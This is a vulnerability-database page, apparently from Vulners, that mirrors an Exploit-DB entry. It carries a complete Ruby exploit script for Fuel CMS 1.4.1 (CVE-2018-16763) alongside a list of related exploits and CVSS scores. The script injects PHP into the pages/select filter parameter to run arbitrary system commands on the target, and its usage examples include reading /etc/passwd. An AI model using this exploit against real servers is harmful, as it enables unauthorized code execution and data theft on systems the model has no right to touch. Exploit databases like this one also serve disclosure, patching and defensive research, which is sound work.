Lucene search
+L

Fuel CMS 1.4.1 - Remote Code Execution (2)

🗓️ 28 Jan 2021 00:00:00Reported by Alexandre ZANNIType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 1110 Views

Fuel CMS 1.4.1 Remote Code Executio

Related
Code
ReporterTitlePublishedViews
Family
zdt
zdt
fuelCMS 1.4.1 - Remote Code Execution Exploit
20 Jul 201900:00
zdt
zdt
zdt
Fuel CMS 1.4.1 - Remote Code Execution Exploit (3)
3 Nov 202100:00
zdt
githubexploit
GithubExploit
Exploit for Injection in Thedaylightstudio Fuel_Cms
7 Aug 202608:15
githubexploit
githubexploit
GithubExploit
Exploit for Injection in Thedaylightstudio Fuel_Cms
10 Oct 202020:23
githubexploit
githubexploit
GithubExploit
thm_ctf
2 Aug 202607:30
githubexploit
githubexploit
GithubExploit
Exploit for Injection in Thedaylightstudio Fuel_Cms
31 May 202215:31
githubexploit
githubexploit
GithubExploit
Exploit for Injection in Thedaylightstudio Fuel_Cms
10 Oct 202020:23
githubexploit
githubexploit
GithubExploit
Exploit for Injection in Thedaylightstudio Fuel_Cms
3 Nov 202104:38
githubexploit
githubexploit
GithubExploit
Exploit for Injection in Thedaylightstudio Fuel_Cms
9 Apr 202622:37
githubexploit
attackerkb
ATTACKERKB
CVE-2018-16763
9 Sep 201800:00
attackerkb
Rows per page
# Title: Fuel CMS 1.4.1 - Remote Code Execution (2)
# Exploit Author: Alexandre ZANNI
# Date: 2020-11-14
# Vendor Homepage: https://www.getfuelcms.com/
# Software Link: https://github.com/daylightstudio/FUEL-CMS/releases/tag/1.4.1
# Version: <= 1.4.1
# Tested on: Ubuntu 16.04
# CVE : CVE-2018-16763
# References: https://www.exploit-db.com/exploits/47138

#!/usr/bin/env ruby

require 'httpclient'
require 'docopt'

# dirty workaround to ignore Max-Age
# https://github.com/nahi/httpclient/issues/242#issuecomment-69013932
$VERBOSE = nil

doc = <<~DOCOPT
  Fuel CMS 1.4 - Remote Code Execution

  Usage:
    #{__FILE__} <url> <cmd>
    #{__FILE__} -h | --help

  Options:
    <url>         Root URL (base path) including HTTP scheme, port and root folder
    <cmd>         The system command to execute
    -h, --help    Show this screen

  Examples:
    #{__FILE__} http://example.org id
    #{__FILE__} https://example.org:8443/fuelcms 'cat /etc/passwd'
DOCOPT

def exploit(client, root_url, cmd)
  url = root_url + "/fuel/pages/select/?filter='%2Bpi(print(%24a%3D'system'))%2B%24a('#{cmd}')%2B'"

  res = client.get(url)

  /system(.+?)<div/mx.match(res.body).captures[0].chomp
end

begin
  args = Docopt.docopt(doc)
  clnt = HTTPClient.new
  puts exploit(clnt, args['<url>'], args['<cmd>'])
rescue Docopt::Exit => e
  puts e.message
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

28 Jan 2021 00:00Current
8.3High risk
Vulners AI Score8.3
CVSS 27.5
CVSS 3.19.8
EPSS0.82937
1110